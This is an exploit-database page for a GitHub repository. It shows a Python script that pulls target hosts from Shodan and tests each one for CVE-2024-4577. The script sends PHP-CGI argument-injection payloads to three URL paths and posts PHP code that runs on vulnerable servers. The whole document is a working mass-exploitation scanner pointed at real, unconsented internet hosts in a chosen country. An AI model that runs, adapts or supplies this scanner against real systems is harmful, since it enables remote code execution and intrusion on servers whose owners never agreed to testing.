Exploit database

GH-354da572c6438a1fb3976021294b681c

d3ck4/shodan-cve-2024-4577

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-4577

48 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files1
d3ck4/shodan-cve-2024-4577Revision 81dd19f7fd8e

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

buatkalotja.py

Python · 1,812 bytes
import requests
import json
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

key = '<your-shodan-api-key-here>'
query = 'product:Apache (Win64) PHP/8.2.12 country:"CN"' #change your shodan query here

response = requests.get('https://api.shodan.io/shodan/host/search?key=' + key + '&query=' + query + '&page=1') #change the page num to iterate whole shodan results
results = json.loads(response.content)

def test_cgi_vulnerability(url):
    payloads = [
        '/index.php?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input',
        '/cgi-bin/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input',
        '/php-cgi/php-cgi.exe?%add+allow_url_include%3d1+%add+auto_prepend_file%3dphp://input'
    ]
    
    php_code = '<?php echo "d3ck4"; ?>'
    headers = {
        "Content-Type": "application/x-www-form-urlencoded"
    }
    
    for payload in payloads:
        test_url = f"{url}{payload}"
        try:
            response = requests.post(test_url, verify=False, timeout=5, headers=headers, data=php_code)
            response_text = response.text.lower()
            if "d3ck4" in response_text: #or "directory" in response_text or "index of" in response_text:
                print(f"(+) Potential vulnerability detected at: {test_url}")
            else:
                print(f"{url} not vuln")
        except Exception as e:
            print(f"{url} timeout")

def main():
    for result in results['matches']:
        target_http = 'http://' + result['ip_str']
        test_cgi_vulnerability(target_http)
        target_https = 'https://' + result['ip_str']
        test_cgi_vulnerability(target_https)        

if __name__ == "__main__":
    main()